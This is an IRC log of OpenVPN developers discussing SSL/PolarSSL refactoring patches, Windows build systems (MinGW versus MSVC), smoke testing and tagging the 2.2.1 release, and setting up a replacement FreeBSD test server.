we gave him a bunch of patches too :) 14:20 <@jamesyonan> it would be great to have a solid DTLS implementation -- the OpenSSL implementation is still somewhat buggy 14:20 < andj> There's a ticket http://polarssl.org/trac/ticket/16 :) 14:20 <@vpnHelper> Title: #16 (DTLS support) – PolarSSL Trac page (at polarssl.org) 14:21 <@jamesyonan> what do you have as far as unit tests are concerned in PolarSSL? 14:21 < andj> PolarSSL has a fairly good test suite 14:21 < andj> It's pretty extensive 14:21 -!- jamx [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 14:21 < andj> If a feature gets added, tests get added 14:22 <@jamesyonan> one thing I would tell you -- if you can wrap PolarSSL objects for Python, you'll immediately have a very powerful unit testing framework 14:23 < andj> Anyway, to give the bird's eye view on SSL separation: 14:23 < andj> there's a split into two main sections: ssl and ssl_verify 14:23 < andj> ssl_Verify abstracts the verification part of the control channel 14:24 < andj> and helps clean up the control channel code a little 14:24 < andj> then, as with crypto 14:24 < andj> there's ssl_backend.h and ssl_verify_backend.h 14:25 < andj> the first deals with what you would expect 14:25 < andj> while the second handles the SSL verification callback, and x509 verification 14:26 < andj> and finally, again, there's the openssl specific implementaion: ssl_openssl.c and ssl_verify_openssl.c 14:29 < andj> patches 30-56 deal with the SSL layer 14:30 < andj> 57-79 deal with verification 14:33 <@mattock> hmm, would having a separate feature-testing tree for these patches make sense? 14:33 <@mattock> external (by andj) or in sf.net 14:33 <@cron2> no 14:33 <@mattock> why? 14:33 < andj> I'm worried that they would lie around for too long 14:33 <@dazo> agreed 14:33 <@mattock> andj: me too 14:33 <@cron2> mattock: nobody would test that... 14:34 <@cron2> mattock: but what I could see is having them (temporarily) in a branch off "master" in openvpn-testing.git, and you could tell buildbot to build and test that branch as well 14:34 <@cron2> I think this is the crucial issue: get this code tested as deeply as possible 14:34 <@dazo> that's doable 14:35 <@cron2> (so we might need to add more tests, like "SSL certificate validation / failure tests" etc) 14:35 < andj> It's pretty easy to follow the patches though by visual inspection 14:35 < andj> as the code doesn't change its functionality 14:35 <@cron2> same thing with separate branch as we did with the two ipv6 patch sets 14:36 <@mattock> I think the only way to get reasonable amount of testers is to release these patches in 2.3 alphas 14:36 <@cron2> andj: well, "the goal is to not change functionality", but bugs could creep in... 14:36 < andj> cron2: I know 14:36 < andj> mattock: agreed 14:36 <@cron2> increas our test coverage :) 14:37 <@mattock> cron2: you mean automated tests? 14:38 <@jamesyonan> I think having a separate branch, at least initially, makes sense for any large patch 14:38 <@cron2> that's the best we can have. testers will find "very obvious" stuff, or "weird combination of features trigger these" bugs - and the first category, we should be able to automatically find ourselves 14:38 <@mattock> cron2: agreed 14:39 < andj> dazo: would that mean you gave me write access to a branch, or would you apply the patches? 14:40 <@cron2> what we did for the ipv6 payload stuff was that I setup my own repository, and dazo pulled from there to his branch 14:40 <@mattock> cron2: re: "nobody would use it"... we _could_ eat our own dogfood? :P 14:40 <@dazo> andj: what cron2 says 14:40 <@cron2> mattock: yes, but that would only catch bugs that affect the specific combination of options you use 14:40 <@mattock> I definitely would like to eat our own dogfood here 14:40 <@dazo> I would be willing to run this in production on a openvpn client on one box, with polarssl 14:41 <@mattock> cron2: true... but that's always the case 14:41 <@cron2> buildslave, polarssl, t_client.sh, t_server.sh :-) 14:41 <@cron2> now if somebody had time to write t_server.sh... 14:42 <@mattock> cron2: obviously buildbot integration would make perfect sense, too 14:42 <@cron2> but even automated client tests with openssl and polarssl would help 14:42 <@mattock> and cover more ground 14:42 <@jamesyonan> well there's really two issues here -- the stability of the refactoring (which can be tested as easily with OpenSSL as with PolarSSL) and the issue of the PolarSSL integration itself 14:42 <@dazo> andj: to add more details, I can create a feat_crypto_mod branch ... where I "clone" your branch ... so that you're branch would be my upstream (meaning: I would only rebase against you) ... this would then be merged into master when ACKed 14:43 <@dazo> (that's the routine I have with cron2) 14:44 < andj> dazo: how would that work with upstream patches from openvpn/master ? 14:44 <@dazo> andj: you would need to rebase against openvpn/master ... push it, and it would go into the feat-branch via your tree 14:44 < andj> jamesyonan: the PolarSSL patch(es) should be done somewhere tomorrow, if I don't run into any snags 14:44 <@cron2> what he said 14:45 < andj> dazo: any tips on where to host? github? 14:45 <@mattock> andj: that would probably work... lots of stuff is hosted there nowadays 14:45 <@dazo> andj: if you have a web server with ssh access ... you can push directly there ... and in the git directory on the server just run: git update-server-info ... and give me the URL 14:45 <@mattock> I would guess their Git support is ok :) 14:46 <@dazo> andj: or else github or similar git services work as well 14:46 < andj> dazo: not at my work I can't, we're properly paranoid :) 14:46 <@dazo> :) 14:47 <@dazo> okay, then wherever ... git and http protocols are the simplest ones ... so as long as I can reach it ... it can be on the moon for my part ;-) 14:47 < andj> So, summarizing, my TODO for this meeting: 14:47 < andj>  - Set up feature branch 14:47 < andj>  - add des_key typedef 14:48 < andj> - finish PolarSSL integration patch 14:48 < andj> (porting that is) 14:49 < kisom> any specific reason to move away from openssl besides the size of the library? 14:49 < andj> It's not really a move away, more a choice 14:49 * dazo wonder how many times andj will answer that :-P 14:49 < andj> :) 14:50 <@mattock> and I will setup buildslaves to test andj's feature branch (within next two weeks?) 14:50 <@dazo> kisom: modularity isn't such a bad thing .... and considering that some places want complete review of the software they use ... reviewing PolarSSL is far simpler than OpenSSL 14:50 <@mattock> and I will also eat my own dogfood 14:50 <@dazo> and I will create the -testing.git/feat_crypto_mod branch 14:50 < andj> mattock: been doing that for a while with 2.1.4 and these patches 14:51 < andj> cool, in that case, if there are no more questions I've got to head off in about 5 minutes or so 14:51 < andj> so fire away :) 14:51 <@mattock> I think we covered everything important 14:51 <@mattock> and have a solid plan going forward 14:52 <@mattock> which is what I hoped :) 14:52 <@dazo> yeah, definitely good :) 14:53 <@cron2> so, 8 more minutes to go (then I need to do some customer work)... 14:53 <@dazo> andj: and one key thing to get stuff applied quicker ... that is to be available and responsive .... so even though you have a gigantic patchset ... your responsiveness helps building the trust we need to go further :) 14:53 <@mattock> we can definitely cover MinGW in 8 mins :) 14:53 <@cron2> yeah 14:53 <@mattock> dazo: and we need to avoid getting decisions paralysis :P 14:53 <@cron2> my point on this is: we need to have a *free* build system for a free software package, so I'm not very much in favour of paying for MS VC 14:54 < andj> dazo: I've got some work time slotted for OpenVPN, but it won't be as much as the past two weeks 14:54 < andj> (near full-time) 14:54 <@mattock> cron2: I agree... but who will take care of the maintenance? 14:55 <@cron2> explain to me again why we need MS VC? 14:55 <@mattock> I'm not too keen on maintaining two buildsystems 14:55 <@cron2> with the amount of time you spent on the python system in the last year, that would have easily taken care of 10 years of mingw maintenance 14:55 <@mattock> cron2: :P 14:55 * cron2 is strictly opposed to having only a commercial build system available 14:56 <@dazo> andj: fair enough ... but begin somewhat available, at least on mail is good ... we don't want to completely get full responsibility for further maintaining such changes alone .... kind of like drop'n'run style 14:56 < andj> But it should be enough to fix any problems, and help out 14:56 <@jamesyonan> how well is mingw being supported right now? 14:56 < andj> dazo: don't worry I'm not planning on orphaning the patches 14:56 <@dazo> mattock: I would like to have mingw/msys working, as there are users who don't want to install MS-VC just to compile OpenVPN or other F/OSS stuff 14:56 <@mattock> jamesyonan: mingw seems somewhat outdated... when did you last use it for building official releases? or how did you build them previously? 14:57 < andj> especially the PolarSSL part, as we're the primary reason it's there 14:57 <@dazo> andj: good :) 14:57 <@cron2> jamesyonan: well, it works, and the resulting code runs on Win7... 14:57 <@jamesyonan> one problem was that mingw wasn't keeping up with changes in windows include files 14:57 * cron2 built a 2.2.0+ipv6 snapshot on WinXP a few weeks ago, and the changes have been fairly minor 14:58 <@dazo> mattock: What we need to do is to make sure the mingw stuff isn't lagging .... and in Fedora, cross-compiling is a breeze, if the right support is implemented ... (mingw32-configure and mingw32-make, for instance) ... 14:58 <@dazo> and we know that Alon also does a lot of cross-compiles as well 14:58 <@cron2> jamesyonan: which is only a problem if there is a concurring build system on the same platform (which is what we have now, the MS VC patches breaking mingw compile) 14:58 <@mattock> in my limited testing I'd say MinGW would need cleaning up 14:59 <@mattock> I mean, the domake-win buildsystem 14:59 <@dazo> agreed, we have had much focus on cleaning up MS-VC ... now we need to look at mingw 14:59 <@cron2> definitely. adjust path names, version numbers, etc. 14:59 <@mattock> there are a few issues here and there, as well as some inconsistencies 14:59 <@dazo> mattock: maybe we need to re-think the domake-win stuff? 14:59 <@mattock> dazo: how deep rethinking? :P 15:00 <@jamesyonan> other open source projects that run on windows rely on MSVC -- like Python for example 15:00 <@dazo> to something which works more easy, with less maintenance ... hard-coding versions, paths and such stuff which is in domake-win now, is kind of nasty 15:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:01 <@dazo> jamesyonan: true, but that doesn't make cross compiling as easy, when mingw is the cross compiler 15:01 < andj> thanks for your time guys, speak to you soon 15:01 <@dazo> andj: thx a lot! 15:01 <@mattock> andj: talk to you later! 15:01 <@jamesyonan> take care 15:03 <@jamesyonan> I found that I burned more time trying to make mingw do what I wanted 15:03 <@cron2> looking at the amount of time mattock burned, MSVC doesn't look so good either 15:03 <@dazo> maybe we need to get more visible among the mingw community, and raise our concerns louder there? 15:03 <@jamesyonan> I also like the idea of using a non-GNU compiler on at least one platform, because it's a good cross-check of the C portability 15:04 <@dazo> yeah, that makes some sense 15:04 <@cron2> MSVC forced us to add a lot of changes because it's too retarded 15:04 <@jamesyonan> yeah, but look at the difference between a build system written in bash and one written in python 15:04 <@mattock> cron2: well, the buildsystem was pretty incomplete when I started 15:04 <@jamesyonan> python is a much better language for developing build systems than bash 15:05 <@cron2> I'm all fine for "using different C compilers", but not something that got stuck in 1995... (*and* python is another external dependency that is not already there on most systems) 15:05 <@dazo> Maybe we should consider a more truly build system written for cross platform support natively? Like CMake or that kind of type? 15:05 <@mattock> dazo: that's worth considering 15:05 <@jamesyonan> Python is supported very well on Windows 15:05 <@cron2> dazo: configure handles cross-building perfectly 15:05 <@dazo> (however, CMake adds it's own set of challenges ...) 15:05 <@dazo> cron2: on POSIX platforms, yes 15:05 <@jamesyonan> while support for bash seems marginal 15:06 <@dazo> CMake goes further 15:06 <@dazo> there are others as well, but I have most experience with autotools and CMake 15:06 <@cron2> we don't support non-POSIX platforms anyway (except for windows), so please no cmake on unix 15:06 < andj> CMake is nice in that it gives visual studio support 15:06 < andj> http://www.scons.org/ is enteresting too 15:06 <@vpnHelper> Title: SCons: A software construction tool (at www.scons.org) 15:07 * cron2 objects to everything that requires installation of additional tools for normal openvpn building on a standard off-the-shelf unix box 15:07 <@cron2> be it cmake, ant, jmake, you-name-it-of-the-week 15:07 <@cron2> have been burnt by that too often trying to build "nice opensource package" 15:07 <@dazo> cron2: CMake, with some work can provide a ./configure type of experience ... if we go deeper with CPack ... but to generate the source balls, you need CMake binaries installed 15:08 <@dazo> however, I've never gone deep with CPack 15:08 <@cron2> "if it's not broken, don't try to fix it" 15:09 <@mattock> cron2: atm domake-win is somewhat broken... I think the question is "who will fix it" 15:09 <@dazo> yeah, I agree ... however, we have broken build system situation now .... based on different requirements .... POSIX and MSVC 15:09 <@dazo> mattock: unfortunately, I think some of the fixes will require patching some of the C code as well ... esp. JJO's stuff 15:10 <@mattock> dazo: can't they (autotools + MSVC/Python) live side by side? 15:10 <@dazo> yes, that's doable ... but more maintenance 15:10 <@dazo> and as long as the compilers agree 15:10 <@dazo> like cron2's rant about MSVC's compiler being stuck in 1995 15:11 <@cron2> include file changes can be a bit of a challenge, but that's normally a one-off task for larger change sets, and nothing you need to do on a regular basis 15:11 <@dazo> caps in include filenames 15:11 <@dazo> (since some filesystems are case sensitive, others not) 15:12 <@cron2> get that right for the case sensitive environments, don't bother with the rest :) 15:13 <@dazo> true :) 15:13 <@mattock> the biggest change I'd like to see in domake-win is removing hardcoded dependency paths (install-win32/version.in) 15:13 <@mattock> and making it use the same dependency directory structure as Python-based buildsystem 15:13 <@mattock> and, unlike you think, I'm not volunteering for the job :P 15:13 <@mattock> I got my hands full already 15:14 <@dazo> mattock: do we have a buildbox ready for mingw on Windows? 15:14 <@mattock> and also fixing some of the assumptions about the dependencies 15:14 * dazo can try to have a look at it ... without promising anything 15:14 <@mattock> dazo: not really... I only got far enough to test my latest patches 15:14 <@mattock> also, it's on my private Win7 smoketest VM with no access from outside 15:14 <@dazo> because we should try domake-win on both Windows and Linux for cross-compiles 15:15 <@mattock> dazo: I think we could use the Windows 2008 r2 build computer for that 15:15 <@mattock> I don't think installing MinGW or man2html on it would break stuff 15:16 <@mattock> https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 15:16 <@dazo> mattock: maybe as a separate user, so we don't mess up the MSVC build environment 15:16 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 15:16 <@mattock> dazo: most the build dependencies are the same, so I don't think we'd even need to use separate users 15:18 <@dazo> I still am leaning towards something separate ... to be absolutely sure those two environments don't interfere ... I honestly don't trust Windows enough to separate things well enough 15:18 <@dazo> (on the same user account, that is) 15:18 <@mattock> in that case another VM would be the best bet 15:19 <@dazo> yeah, true ... but a middle way, would be a separate user account, I think ... but separate VM is definitely the safest 15:19 <@mattock> let's go with a separate user account and see what happens 15:19 <@mattock> _after_ 2.2.1 is out :D 15:19 <@dazo> goodie! 15:19 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 15:19 <@dazo> yeah 15:19 <@mattock> regarding 2.2.1... 15:19 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 15:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:20 <@mattock> dazo: can you push my three patches to release/2.2 today/tomorrow morning? 15:20 <@mattock> I could then prepare the installers for jamesyonan for signing 15:20 <@dazo> mattock: I can try that tomorrow ... have had a rougher week than planned ... so my head begins to melt soon 15:21 <@mattock> ok, if that start happening, just drop the ball on this :P 15:22 <@dazo> mattock: :) 15:22 <@mattock> jamesyonan: when do you usually start working? I doubt I'd get the installers out before you stop for today 15:22 <@dazo> I need to run now ... need to grab some food before shop closes 15:22 <@mattock> dazo: have fun! 15:22 <@dazo> thx :) 15:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel ["Leaving"] 15:23 <@jamesyonan> I usually start about 1700 or 1800 UTC 15:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:23 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:23 <@mattock> when do you stop working? 15:23 <@jamesyonan> good question 15:23 <@mattock> :D 15:24 -!- dazo is now known as dazo_afk 15:24 <@mattock> well, it does not matter... I'll try to prepare the files for you to sign as early as possible 15:24 <@mattock> and if you're still awake, I'll mail you 15:25 <@mattock> I can do the rest of the release preparations during the day 15:26 <@mattock> I think I got to get some sleep now, and most others have vanished already so... have a nice day/evening/night everyone! 15:26 <@mattock> I'll write the summary tomorrow, as usual 15:26 * cron2 is working for a customer, some more hours now... "off peak hours" for network breakage 15:26 <@cron2> n8 folks 15:28 <@mattock> cron2: good luck! 15:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 15:39 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:06 < Essobi> Sooo.. is the plan to abandon OpenSSL support in VPN, or support a duality of libraries? 16:07 <+krzee> duality 16:07 <+krzee> in fact, more than duality 16:08 <+krzee> in 3.0 that will just be a plugin 16:14 < Essobi> O_o 16:14 < Essobi> Neat. 16:17 <+krzee> agreed, even neater that work twords that is already happening! andj++ 16:36 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 16:53 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 258 seconds] 21:32 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Read error: Operation timed out] 23:31 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:37 -!- dazo_afk is now known as dazo --- Day changed Fri Jul 01 2011 00:37 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 00:45 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 01:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:51 <@mattock> I'm writing the release announcements and updating the web pages 01:52 < andj> I'm setting up a github account :) 01:52 <@mattock> andj: nice! 01:52 <@mattock> when you're finished, I'll add your git tree to buildbot tests 02:27 < andj> I'm going to fix my PolarSSL addition patch first, so don't hold your breath :) 02:36 <@mattock> no problem, I got stuff on my plate already :) 02:59 <@mattock> ok, 2.2.1 release is prepared, except for the release files 03:02 <@dazo> mattock: could you help me locate your 2.2.1 patches? Just so that I don't miss anyone 03:03 <@dazo> Is it just the "Fixes to easy-rsa/2.0" now? 03:04 <@dazo> or is it these patches in this sub-thread? http://thread.gmane.org/gmane.network.openvpn.devel/4729/focus=4779 03:04 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:04 <@dazo> "Update 'easy-rsa' for OpenSSL 1.0.0", "Made domake-win builds to use easy-rsa/2.0/openssl-1.0.0.c" and "Fixes to easy-rsa/2.0" ... 03:05 * dazo will squeeze in some openvpn time today, to get 2.2.1 ready 03:12 <@mattock> dazo: just a sec 03:12 <@dazo> sure, no prob 03:13 <@mattock> http://pastebin.com/uLuTJhuN 03:13 <@mattock> that's what I got from my local repo 03:14 <@dazo> yeah, but we wanted to fix the easy-rsa stuff as well ... didn't we? 03:14 <@dazo> ahh, /me read too quick 03:14 <@mattock> :P 03:14 <@mattock> there's a boatload of poorly named easy-rsa patches under my name :D 03:15 <@mattock> I just did a rebase against origin, I'll check that everything is still the same 03:15 <@mattock> ah, something is still missing from my changelogs 03:16 <@mattock> David Sommerseth: Remove support for Linux 2.2 configuration fallback 03:16 <@mattock> Robert Fischer: Documented --x509-username-field option 03:16 <@dazo> yeah ... hmm ... sounds like lack of rebase 03:16 <@mattock> forgot to do it, my bad 03:17 <@mattock> I'll update the changelogs 03:17 <@dazo> or ... is it lack of push from my side? 03:17 <@mattock> I did a rebase and those popped up 03:17 <@mattock> so it's my fault 03:17 <@dazo> ahh, okay :) 03:17 * dazo is less confused 03:17 <@dazo> I think I see then which commits are lacking ... I'll apply them 03:17 <@dazo> now 03:27 <@mattock> ok, man-page and changelogs updated 03:33 <@dazo> which changelog and man-page are you talking about? 03:35 <@dazo> mattock: I'm doing a make distcheck now ... I'll provide you with a tarball for testing in MSVC ... okay? 03:36 <@dazo> and if that works with quick smoke tests ... we can tag the tree 03:36 <@mattock> dazo: sounds good 03:37 <@mattock> jamesyonan: still there? 03:37 <@jamesyonan> yeah, I'm here 03:37 <@jamesyonan> but fading fast 03:38 <@mattock> we should have Windows installer and tarballs ready for you in ~30 mins 03:38 <@mattock> or slightly less 03:41 <@mattock> thank god, no new openssl versions have been published since 2.2.0 :D 03:56 <@mattock> dazo: have you already tagged the tree? 03:57 <@dazo> mattock: nope, waiting for your review 03:57 <@dazo> mattock: you got my PM? 03:57 <@mattock> I just found this from my TODO: "Fix TAP_RELDATE in win/settings.in (correct: 07/03/2010)" 03:57 <@mattock> dazo: could you try the PM again? 03:57 <@dazo> ahh ... send the patch, and I'll ACK it and apply it 03:57 <@dazo> done 03:57 <@dazo> (resent PM) 04:00 <@mattock> building 04:01 <@dazo> goodie :) 04:01 <@dazo> mattock: but the TAP_RELDATE ... that requires rebuilding of tap-device 04:02 <@mattock> oh yes... that 04:02 <@mattock> what did we decide to do about it? 04:02 <@mattock> postpone for 2.3, hopefully? :P 04:02 <@dazo> hehehe .... well, I can apply the patch ... you're the MSVC builder ;-) 04:02 <@dazo> I don't recall TAP_RELDATE stuff now at all 04:02 <@mattock> jamesyonan: already faded away? 04:03 <@dazo> mattock: *do not* sign this build 04:03 <@dazo> this is a test build 04:03 <@dazo> it's version'ed as 2.2.1-pre1 04:04 <@dazo> I'll repack it as 2.2.1 if everything looks fine ... after the git tree is tagged 04:05 <@mattock> dazo: no problem 04:05 <@mattock> testing... 04:11 <@mattock> dazo: smoketests passed on Win7-amd64 04:11 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 04:11 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Client Quit] 04:11 <@dazo> mattock: and my minimal smoketest in Fedora worked fine as well 04:11 <@mattock> I'll test WinXP i386 just in case 04:12 <@dazo> I'll do one more extra check too 04:12 <@dazo> then I'll tag it 04:13 <@mattock> I say let's skip the TAP_RELDATE patch for now... it's probably more dangerous to change it than not to 04:14 <@mattock> I'm also feeling lazy, so feel free to question my motives :P 04:14 <@dazo> agreed 04:15 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 264 seconds] 04:15 <@dazo> okay, I got a more "normal" test of 2.2.1 now ... connecting to a 2.2.0 server running on a Windows server ... so if *that* works, it should be fine :-P 04:20 <@mattock> WinXP i386 works (service+gui) 04:20 <@mattock> I'll test easy-rsa to make sure it also works 04:20 <@dazo> good! 04:24 <@mattock> easy-rsa seems to pass smoketests 04:24 <@mattock> openssl gives a warning about missing c:\openssl\openssl.cnf file, but that's not critical 04:24 <@mattock> I assume that's always been there 04:24 <@dazo> mattock: if you're comfortable ... I'm ready to push the tree ... 04:25 <@dazo> mattock: I'd presume so ... as we've never cared about the c:\openssl dir 04:25 <@mattock> dazo: well, as comfortable as I ever get before release :P 04:25 <@dazo> :) 04:25 * dazo too 04:25 * dazo prepares new tarballs and pushes the tree 04:26 <@mattock> dazo: thanks! 04:26 <@mattock> we should get the release out this evening if James wakes up early enough :) 04:27 <@dazo> yeah 04:36 <@vpnHelper> RSS Update - testtrac: Fixes to easy-rsa/2.0 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b7e0d372e3aeb07d129642473d274d7d590eea1a> || Made domake-win builds to use easy-rsa/2.0/openssl-1.0.0.cnf <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d22a3799f51c58525a715f767613731669bba98c> || Updated "easy-rsa" for OpenSSL 1.0.0 <http://openvpn.g 04:38 <@dazo> okay, everything is pushed from my side now 04:41 <@mattock> pushed files to swupdate, building the windows installer now 04:52 <@mattock> smoketested on win7-amd64, good enough for signing 04:54 <@dazo> \o/ we're pretty close to a release again :) 04:57 <@mattock> sent mail to james, now to lunch 04:57 <@mattock> I still have the nasty job of creating Debian packages... I should fix the automated snapshot package building to get rid of that chore :P 04:57 <@mattock> it broke when I made buildbot config more modular 05:31 < andj> Hmm, I was wrong yesterday: enumeration of x509 fields isn't very good 05:31 < andj> so ENABLE_X509ALTUSERNAME isn't really in the cards for PolarSSL for now 05:36 <@dazo> andj: Is it possible to solve this? 06:50 < andj> dazo: yeah, for a limited number of OIDs 06:50 < andj> but enumeration doesn't work 06:50 < andj> For now, I'm going to create a patch without it, and add that feature in a later patch 07:51 < andj> I've added a github account 07:52 < andj> https://github.com/andj/openvpn-ssl-refactoring.git 07:54 < andj> PolarSSL support isn't quite ready yet, as I'm porting to the newest library right now (0.99) 08:17 <@mattock> we just lost our test server... the VPS provider Wayne used suddenly raised their prices significantly 08:17 <@mattock> he's looking for another provider and _may_ be able to donate a server for us later... but no guarantees 08:18 <@mattock> I'll make sure everything important has been backed up 08:18 < andj> That's rather bad news :( 08:20 <@cron2> :( 08:28 <+ecrist> mattock: what sort of needs do we have for the test server? 08:29 <@mattock> ecrist: not much, something that can run four instances of OpenVPN server simultaneously, with a few clients connecting to each at the same time 08:29 <@mattock> FreeBSD as an OS, least amount of (re)configuring 08:29 <@mattock> enough memory to run the puppet client... 512MB should be more than enough 08:30 <+ecrist> I have my cartman machine, I can give devs access to for use 08:30 <@mattock> that'd be great! 08:30 <+ecrist> hrm, not sure about the puppet thing, though 08:30 <+ecrist> brb, let me fire that box back up 08:32 <@mattock> if the box is used for something else, then we can skip puppet of course 08:33 <@mattock> the previous test server had some basic stuff configured by puppet (e.g. postfix, monit, openvpn) 08:34 <@mattock> but for the most part, the configurations were manual 08:38 <+ecrist> cartman is my development machine, it's what I use to build the openvpn snapshots and such 08:40 <@mattock> ok 08:41 <@mattock> puppet is not a big deal 08:41 <@mattock> ecrist: here's the .xz for 2.2.1: http://swupdate.openvpn.net/community/releases/openvpn-2.2.1.tar.xz 08:41 <@mattock> no gpg signatures yet 08:45 <+ecrist> do you need root access to the box? 08:46 <+ecrist> and what accounts do I need? 09:14 <+ecrist> mattock: ??? 09:14 <@mattock> ecrist: ah 09:15 <@mattock> I don't need root if you setup and maintain OpenVPN test servers :) 09:15 <@mattock> although they might work without root 09:15 <@mattock> we can try without root first 09:20 <+ecrist> you don't need a high-powered box, do you? 09:20 <+ecrist> I have an old 1650 I can fire up and put a new copy of freebsd on there 09:27 <@cron2> they won't work without root because they can't setup the necessary routing and tun/tap interfaces 09:33 <+ecrist> that's fine 09:33 <+ecrist> the 1650 is a 32-bit box, if we need/want 64-bit, I'll just let you use cartman 09:33 <+ecrist> just keep in mind, that box runs the HEAD version of freebsd. ;) 09:34 <+ecrist> mattock: send me a set of vpn keys, please, and I'll put that box on the VPN, and enable LDAP authentication 09:35 <+ecrist> that way, I can just give all the developers access and I don't have to manage accounts. 09:42 <@mattock> ecrist: you can get keys from forums.openvpn.net 09:49 <@mattock> I can create an account for the box to community LDAP and add it to VPN group 09:49 <@mattock> which name would you prefer? 09:53 <@d12fk> mattock: have you guys considered autotools as build chain for cygwin/mingw 09:53 <@d12fk> that's how I build our client 09:56 <@dazo> d12fk: I basically thought that was what domake-win was about ... but maybe I've missed a few points ... 09:56 * dazo is all in favour of sensible and easy solutions 09:57 <@d12fk> well had to change some in configure.in but not too much 09:58 <@dazo> d12fk: could you share this? 09:58 <@d12fk> sure 09:58 <@d12fk> in fact the build system should be part of the gpl iso of our gateway i suppose 09:59 <@d12fk> however, let me have a look 09:59 <@dazo> cool 09:59 <+ecrist> mattock: cartman 09:59 <@d12fk> the thing is the configure only builds openvpn, not the driver 09:59 <@mattock> ok, I'll setup the account 09:59 <+ecrist> let me know, and I'll get it connected 10:00 <@d12fk> but i build the driver in a shell script so that could be included into the auto* chain as well as much as the signing of the binaries 10:04 <@d12fk> nah buildsystem is not part of the rpm 10:05 <@d12fk> does ovpn have a pastebin? 10:05 <@dazo> openvpn.pastebin.com? 10:05 <@dazo> or was it .ca? 10:05 * dazo always forgets 10:05 <@dazo> .com seems to work 10:08 <@d12fk> http://pastebin.com/EtdEwiWL 10:08 <@dazo> that looks pretty much sensible 10:09 <@dazo> d12fk: could you make a proper patch (based on git master) and mail it to the ML? Just to get a wider review .... but I think this can make sense to include 10:10 <@d12fk> alon will rip it apart =) 10:10 <@d12fk> but yes 10:10 <@dazo> lol ... yeah, that's Alon :) 10:10 <@d12fk> sure i'll just reply to the meeting mail from samuli 10:11 <@dazo> Alon isn't bad, he just has a very rough way of expressing himself ... but when you see what he tries to say, it makes sense 10:11 <@d12fk> just to gather optinions 10:11 <@dazo> good idea :) 10:46 * ecrist wonders where he needs to go to find the ldap ca certificate 10:54 <+ecrist> raidz or mattock: ping 10:54 <@raidz> hey ecrist 10:54 <+ecrist> can I PM? 10:55 <@raidz> of course 11:03 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:08 -!- dazo is now known as dazo_afk 11:51 * chantra thrilled.... giving a go at ACKing :p 11:56 <@mattock> ecrist: did you get the ca certificate? 12:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 12:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:59 <+ecrist> not sure I need it. I'll let you know, mattock 12:59 <+ecrist> did you see the hardware specs I picked up for us? 13:13 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:13 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:42 <@mattock> ecrist: where did you send the specs? 14:09 <+ecrist> here 14:10 <+ecrist> but, it's a dual processor Xeon 3.0GHz, 8GB ram, 4 146G SCSCI 15K disks 14:31 <+ecrist> mattock: ^^^ 14:36 <@mattock> yeah, that one... yes 14:36 <@mattock> sounds good 15:01 <+ecrist> I have proxmox installed, finally 15:02 <+ecrist> going to get a base FreeBSD install going now. 15:02 <@mattock> nice! 15:02 <@mattock> no 2.2.1 release today, got to hit the sack soon 15:02 <+ecrist> :( 15:02 <+ecrist> This CPU does not support KVM virtual machines (no Intel VT / AMD-V support). 15:02 <@mattock> ecrist: has kvm been ported to FreeBSD? 15:03 <+ecrist> no 15:06 <@mattock> proxmox is pretty good... should be easier to manage than plain OpenVZ 15:07 <@mattock> although I've only managed OpenVZ systems myself 15:07 <+ecrist> I already hate proxmox 15:07 <+ecrist> :\ 15:07 <@mattock> how come? 15:08 <+ecrist> I can't find a template for freebsd 15:08 <@mattock> ah 15:08 <@mattock> you should be able to create a template yourself 15:08 <@mattock> at least in OpenVZ it was possible 15:08 * ecrist is about to say 'fuck it' 15:08 <@mattock> the containers were pretty simple 15:09 <@mattock> what alternatives are there? 15:09 <+ecrist> ESXi 15:09 <+ecrist> that's what we use at $work 15:09 <+ecrist> but, this box doesn't have VT, and has two processors 15:10 <+ecrist> ugh, and support forums indicate freebsd doesn't run under openvz 15:10 <@mattock> yeah, that's what I read also 15:10 <@mattock> OpenVZ is based on isolating the host's processes to different containers 15:11 <@mattock> or something like that 15:11 <@mattock> meaning that it can only run linux on linux 15:11 <@mattock> unless it's ported to another platform 15:11 <@mattock> not sure if proxmox has something else besides openvz 